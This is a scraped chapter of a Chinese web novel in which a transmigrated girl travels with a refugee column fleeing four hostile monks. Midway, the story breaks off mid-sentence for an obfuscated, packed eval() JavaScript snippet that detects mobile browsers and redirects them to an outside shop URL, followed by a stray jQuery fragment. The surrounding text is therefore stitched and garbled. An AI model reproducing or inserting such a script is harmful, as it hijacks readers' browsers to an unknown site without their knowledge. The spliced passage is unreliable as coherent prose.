老二老三不情愿地跟紧了杨保长等人,大路朝天,却没有他们的容身之处,不得不远远跟着,时不时还躲树林里。
老三道:“二哥,算了吧!就咱们四个够干嘛?连个哨声都听不见,四个人包围一百个人?我可没那胆子。”
老二没接话,“哼!我看那三个本地的是故意喝醉的,放跑了这么大的肥羊。”
两人沉默了一阵,老三道:“吃兄弟们的肉,不好吧?”
“是他们背叛了本寺的人,现在又背叛我们,该死!”老二道。
“可老大出手了,咱们不出手……”
“随机应变!”
杨保长等人正着急赶路,不知道后面有尾巴。方小石混在队伍里,只见一个个男人被叫到杨保长处说话。
很快,方小石的叔叔方守银也被叫过去了。别人都要聊很久,她叔叔却很快就回来了,搞得方小石很好奇。
“吃!”方守银递过去一块桂花糕,秦芝看了看两个儿子,自己默默吃了起来。
这杨保长会做人!方小石赞叹,心里又想着桂花糕,她什么时候能吃上桂花糕,苹果干,蜜饯啊!这些在古代肯定是难得的东西,她现在可是最穷的流民啊!
忽然,方小石听到婶婶秦芝吃完糕点叮嘱她两个堂弟不要乱跑。还没听完又听到左边邻居水大娘在叮嘱她两个成年了的儿子不要怕,拿起锄头就是干!
“小石,别怕,你有菜刀,他们才四个人敢拦我们就给他砍死,当官的都不怕,怕他?”李好道。
方小石又是最后一个被叮嘱的,先是大姐然后是小弟,最后才是她,想想就不安。方小石心情郁郁,勉强答应。
李好斗志昂扬,见二女儿这样,有些不满,就去跟左邻右舍说话。
似乎众人都不怕了,你一言我一语,走得都慢了,不怕恶僧们赶上。
这叫杨保长警惕起来,不惜跳下牛车,厉声道:“说什么呢!还不快走!”
“走,快走!”杨保长赶牛一样前后左右赶了一趟,没人说话了。
等远远地看到村子了,众人又骚动起来,杨保长干脆叫众人停了下来,让敢打敢冲的男人们去外面,女人小孩在里面。
水大娘的两个儿子都在第一圈,方小石的叔叔和爹都在第二圈,没有第三圈。
这个时候很混乱,搞得方小石很紧张,生怕恶僧们冲过来,握紧了菜刀。
杨保长道:“恶僧一共只有4个,可前面有村子,难道他叫村子里的人一起抢我们。
待会儿就这样走,虽然慢,但是稳,他冲不冲我们都有办法。要是他带了村里人来杀我们,我们赢了就把这村里的东西都抢走,抢不走就烧掉!
输了,那就是命了,大家就各奔东西吧!这天下不太平,也不知道去哪里才好。
等走出十里,再换回最开始的一字长蛇阵,别着急,听我的。快换阵,警惕起来!”
乱世里烧村,方小石还以为是少数乱兵的特权,原来他们这样的流民还能烧村?村里人勾结土匪,还能抢村里的东西?不对!肯定会出人命。
方小石心里很不是滋味,大概是出身现代,她看不得尸体,更不想看到众人野兽一样抢东西。可这是古代,她又怕家里人抢不到好东西,她甚至隐隐希望这里人勾结了恶僧,好抢一把,她讨厌吃炒豆子!
男人在外女人在内的阵型,有些臃肿,但正好方便男人们看到村里的情况。外圈的负责出击,内圈的负责防御,不能叫女人孩子没了保护。
这个村子是有人的!
众人都警惕起来。
越走越发现,这是个常见的萧条的村,村里人不多,空了一大半,甚至叫人想抢劫他们。
村子不大,哪怕这个阵型走得慢,众人也很快离开了村子。杨保长道:“维持阵型!”
维持了五里路,杨保长说:“再坚持五里路!”
方小石对杨保长的行为很赞同,她很紧张,生怕恶僧躲在那个犄角旮旯里。
但十里路到了,阵型迫不及待地变回了一字长蛇阵,期间只有秦芝婶婶草木皆兵了一下,压根就没贼人。
根本无事发生,根本没有贼人!贼人也许被她们踢的那几脚吓得根本不敢尾随呢!
不过贼人不敢尾随,按理说杀了小吏他们还跑路了,不是他们也得是他们,难道没人追?没人追他们这么急着走干嘛?
想到没人追方小石扭头看了看后面,感觉舒服一点。但没人追意味着官府秩序失效,弱肉强食,他们只有一百多人,也算不上多安全。这又让方小石难受了。
“怕什么,你看,有人敢来么?那些贼秃也是要命的。”李好对秦芝安慰道。
秦芝笑了笑:“大嫂说的是。”
“这一路上也没贼人,只是路上没几个人。那三个死人还说都怪我们穷人太多,这哪里多了,我看是他们这些只会吃饭的废物太多了,就该死!”李好不忿。
方小石的爹向来不爱说话,她叔叔道:“织女镇我去过,那里繁华些。要是那里不能落脚,我们的粮食也不知道够吃几天。”
“这还人多?”李双嘟囔道。
方小石听都没听过这个织女镇,小女孩的知识这么贫乏吗?在乱世怎么活啊!
“叔叔,按我们现在的脚程,晚上可以借宿村子或者什么道观吗?”
方守银沉吟了一会儿,“嗯,如果走快一点,前面有个镇子可以借宿,只是多少要给点零食。走慢一点,那就得睡荒郊野外了。”
李好听小叔子这样说,道:“哪里有那么多粮食给人,还是睡野外吧!”
方小石想了想:“因为四个恶僧的事,大家都没睡够,肯定走得慢,我看是要睡荒郊野外。”
方守银点点头,转头对妻子说:“秦芝,到时候把咱们的蚊帐拿出来。”
蚊帐?方叔叔家竟然有蚊帐?方小石嫉妒!这才想起方叔叔是个商人,怪不得知道织女镇这个地方。
她看一眼她娘,大概率是不可能有蚊帐了。“娘,水边多蚊虫,但水边也多驱蚊植物,就那些草啊什么的,你割点草来烧吧。”
李好点点头。
方小石只知道菖蒲能驱蚊,别的不知道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943281|214000||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
希望她娘这个本地人比她更懂吧。
又走了几步,方小石觉得不对劲。发现僧人提醒大家的是她弟弟方战,但怎么众人不感谢他,甚至她娘也没夸夸她弟弟?
方小石一看,方战正看着自己的木鱼呢!
还是个孩子,方小石别过头。
为什么?为什么不夸方战。再说,灵机一动踢门的是她,大概也震慑了贼秃,为什么没人夸她?
方小石百思不得其解,又开始担心起贼秃尾随。虽然大家都不担心了虽然走出很远了,虽然她理智上觉得贼秃不可能跟上来,但她还是担心了。
越担心,心跳得越快,方小石没睡好,又觉得浑身无力。不行,再想下去,要把自己吓死!
方小石想,早知道她会被吓成这样,不如反杀贼人。未必有伤亡,那群恶僧自己就吓退了自己,没多恶,杀了就安心了。
“娘,我好害怕,要是我们当时把那四个恶僧杀了就好了。”方小石道。
李好一听,点头道:“是啊!留着他们作乱,不害我们也要害别人。”
“早知道战儿发现那四个人的时候,就该叫人用锄头筑死他们!”方小石的爹道。
“是啊!杨保长怎么没想到?”方家的右边邻居庞大娘说道。
李好道:“我儿子去叫杨保长,半天没叫醒,早就错过了。”
“哎呀!杨保长快五十,下次叫你儿子叫我们几个的儿子,年轻力壮的。”庞大娘遗憾道。
“当时就想着跑了,谁敢跟他们对上。我们这么多人不就杀了三个小官儿,哪敢去杀那四个人。”李好道。
“哼!都不追上来,不敢拦道,我都看他不起。这种人十个也不怕。”庞大娘道。
方小石听她说完,又有别处的接话,个个都鄙视那些不敢现身面都没见过的恶僧。
懂了!方小石懂了!怪不得没人夸她和夸她弟弟。
原来是因为大家轻视了敌人。敌人不敢拦路,没有和敌人的艰难对峙或者恶战一场,自然就想不到是谁提议跑路的,谁有功劳。就是想到了,甚至觉得跑路不对,那发现僧人恶意提醒杨保长叫众人跑路的小孩方战就更不对,更没什么功劳了。自然,她这个震慑贼人的也没功劳,贼人本来就胆小,一百多人就够吓他们的了。
唉!方小石怎么觉得很不妙啊!虽然她没有过跑路的经历,但轻视敌人怎么想都不对吧!他们才一百多人,她一个都不希望少啊。
而且,她的功劳啊!有功的话可以吃好一点吧。可现在压根没人觉得她有功劳,这怎么行,怎么办呢?
还是队伍太穷了,怎么说还是有点功劳的,都没人奖励。甚至可能倒打一耙,说她差点把贼人吓得当场出来劫道。
今天凌晨肯定是睡在荒郊野外了,以防万一,去看看杨保长怎么想。她和方战还有杨保长都算有功,怎么也得捞点好处。再说了,一次幸运还能次次幸运吗?像她们这样避免冲突的当然要赏!她不被赏以后别人也难赏,他们的队伍就该越打越少越来越弱了,她可不想给人当奴婢。
嗯,加油!方小石。